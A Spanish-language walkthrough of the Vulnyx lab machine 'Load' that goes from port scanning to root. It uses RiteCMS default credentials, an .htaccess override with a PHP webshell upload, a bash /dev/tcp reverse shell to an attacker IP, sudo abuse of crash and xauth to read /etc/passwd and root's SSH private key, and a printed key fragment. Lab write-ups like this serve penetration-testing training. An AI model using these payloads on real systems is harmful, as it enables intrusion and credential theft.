Vulnyx - Load
Máquina Linux de nivel Easy de Vulnyx.
Técnicas usadas: Rite CMS, File Upload, Information Leakage
Fase de Reconocimiento 🧣
Como primer punto, identificamos la dirección IP de la Máquina Vulnyx
1
2
3
4
root@kali> arp-scan -I eth0 --local --ignoredups
<SNIP>
192.168.100.68 08:00:27:c6:4f:1d PCS Systemtechnik GmbH
a. Enumeramos los puertos que están abiertos.
1
2
3
4
5
❯ nmap -p- -sS --min-rate 5000 -Pn -n 192.168.100.68 -oG ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:7D:6A:F0 (Oracle VirtualBox virtual NIC)
b. Vemos las versiones de los servicios que se están ejecutando
1
2
3
4
5
6
7
8
9
10
11
12
13
❯ nmap -p22,80 -sCV -oN versions 192.168.100.68
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 a9:a8:52:f3:cd:ec:0d:5b:5f:f3:af:5b:3c:db:76:b6 (ECDSA)
|_ 256 73:f5:8e:44:0c:b9:0a:e0:e7:31:0c:04:ac:7e:ff:fd (ED25519)
80/tcp open http Apache httpd 2.4.57 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
| http-robots.txt: 1 disallowed entry
|_/ritedev/
|_http-server-header: Apache/2.4.57 (Debian)
MAC Address: 08:00:27:7D:6A:F0 (Oracle VirtualBox virtual NIC)
c. Existe un directorio /ritedev
en el que haremos un fuzzing de directorios y archivos para encontrar más recursos
1
2
3
4
5
6
❯ dirsearch -u 'http://192.168.100.68/ritedev/'
[01:15:08] 200 - 559B - /ritedev/admin.php
[01:15:15] 200 - 4B - /ritedev/cms/
[01:15:18] 200 - 6B - /ritedev/files/
[01:15:23] 403 - 279B - /ritedev/media/
- Si nos vamos a
/admin.php
necesitaremos credenciales, en este caso, el sistema tiene las credenciales por defectoadmin:admin
Credenciales RiteCMS. Una vez que nos autentiquemos veremos secciones en las cuales podemos subir archivos o imágenes. Al investigar por un forma de explotación llegamos a RiteCMS Remote Code Execution
d. Cambiaremos las reglas del archivos .htaccess
con el fin de subir un archivo php y ejecutar comandos
.htaccess
<Files *.php> deny from all </Files> <Files ~ "webshell\.php$"> Allow from all </Files>
webshell.php
1 2 3
<?php system($_GET['cmd']); ?>
En el apartado de ‘files’
Subiremos nuestro archivo .htaccess (Sobreescribiendo al anterior) y al archivo webshell.php
e. Una vez realizado esto podremos ejecutar comandos
1
2
❯ curl -s -X GET 'http://192.168.100.68/ritedev/files/webshell.php?cmd=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Nos entablaremos una reverse shell
1 2 3 4
❯ curl -s -X GET 'http://192.168.100.68/ritedev/files/webshell.php?cmd=bash%20-c%20"bash%20-i%20>%26%20/dev/tcp/192.168.100.55/4445%200>%261"' ------------------------------------------------- ❯ nc -lvnp 4445 www-data@load:/var/www/html/ritedev/files$
El payload indicado se debe URLencodear, por eso en vez de ‘espacios’ vemos %20, y en vez de ‘&’ vemos %26
Escalada de Privilegios 💹
a. Ahora realizamos un tratamiento de la TTY en la reverse shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
```bash
www-data@load:/var/www/html/ritedev/files$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@load:/var/www/html/ritedev/files$ ^Z
[1] + 63970 suspended nc -lvnp 4445
❯ stty raw -echo;fg
[1] + 63970 continued nc -lvnp 4445
reset xterm
www-data@load:/var/www/html/ritedev/files$ export TERM=xterm-256color
www-data@load:/var/www/html/ritedev/files$ source /etc/skel/.bashrc
```
b. Al listar los privilegios a nivel de sudoers de este usuario vemos que podemos ejecutar crash
como el usuario travis
1
2
3
4
www-data@load:/var/www/html/ritedev/files$ sudo -l
User www-data may run the following commands on load:
(travis) NOPASSWD: /usr/bin/crash
- Si investigamos en GTOFBins, existe una forma de escalar privilegios
1
www-data@load:/var/www/html/ritedev/files$ sudo -u travis /usr/bin/crash -h
- Se nos abrirá una ventana con la información del usuario del programa, en este punto tecleamos
!/bin/bash
c. Ya como el usuario travis veremos que podemos ejecutar xauth
como el usuario root
1
2
3
4
travis@load:/var/www/html/ritedev/files$ sudo -l
User travis may run the following commands on load:
(root) NOPASSWD: /usr/bin/xauth
- Con xauth podemos leer un archivo en el cual se indiquen comando válidos para el comando, pero, en caso de que esta lectura encuentre comandos no válidos, lo vemos por pantalla
1
2
3
4
5
6
travis@load:/var/www/html/ritedev/files$ sudo -u root /usr/bin/xauth source /etc/passwd
/usr/bin/xauth: file /root/.Xauthority does not exist
/usr/bin/xauth: /etc/passwd:1: unknown command "root:x:0:0:root:/root:/bin/bash"
/usr/bin/xauth: /etc/passwd:2: unknown command "daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin"
/usr/bin/xauth: /etc/passwd:3: unknown command "bin:x:2:2:bin:/bin:/usr/sbin/nologin"
<SNIP>
d. Con lo anterior en mente, podemos leer cualquier archivo y como el servicio SSH estaba abierto, podemos intuir que el usuario root tiene una clave id_rsa
1
2
3
4
5
6
7
8
travis@load:/var/www/html/ritedev/files$ sudo -u root /usr/bin/xauth source /root/.ssh/id_rsa
/usr/bin/xauth: file /root/.Xauthority does not exist
/usr/bin/xauth: /root/.ssh/id_rsa:1: unknown command "-----BEGIN"
/usr/bin/xauth: /root/.ssh/id_rsa:2: unknown command "MIIEpAIBAAKCAQEAn1xk2mDBXCTen7d97aY7rEVweRUsVE5Zl4sGPG/yXLAAuodz"
/usr/bin/xauth: /root/.ssh/id_rsa:3: unknown command "xjGuAqvTRhG4omhxiJeDr9taOePsIaUGI3Q/qBqUsbnuM/86vu/ANM6+Olzt80fc"
/usr/bin/xauth: /root/.ssh/id_rsa:4: unknown command "Cv1QVKIdFOweMAiXskvQEV7Fw3qha7fFbf/D8L7BCgXrT70/p9jf4FBroC9pFsRy"
<SNIP>
/usr/bin/xauth: /root/.ssh/id_rsa:27: unknown command "-----END"
- Copiamos la clave id_rsa y la completamos
1
2
3
4
5
6
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAn1xk2mDBXCTen7d97aY7rEVweRUsVE5Zl4sGPG/yXLAAuodz
<SNIP>
JAavd3wkMRXHLIOQtOiV9z3F2PmbO3h6yR6esFl0tGcnfZYmaiZJN/MLZKpL9WI/
WuTyDRk99zQu4GNenQiUDmxYCuOuX5kggXaakAN98THXncO38BAAiA==
-----END RSA PRIVATE KEY-----
Se completó los delimitadores de la clave id_rsa
-----BEGIN RSA PRIVATE KEY-----
y-----END RSA PRIVATE KEY-----
. En otros casos puede que sea OPENSSH y no RSA
c. Le damos el permido 600
a la clave id_rsa y nos podremos conectar como root en el sistema
1
2
3
4
❯ chmod 600 id_rsa
❯ ssh root@192.168.100.68 -i id_rsa
root@load:~# cat /root/.roooooooooooooooooooooooooooooooooooot.txt
85ed9306438d8302cbb4dcbc7c5491b3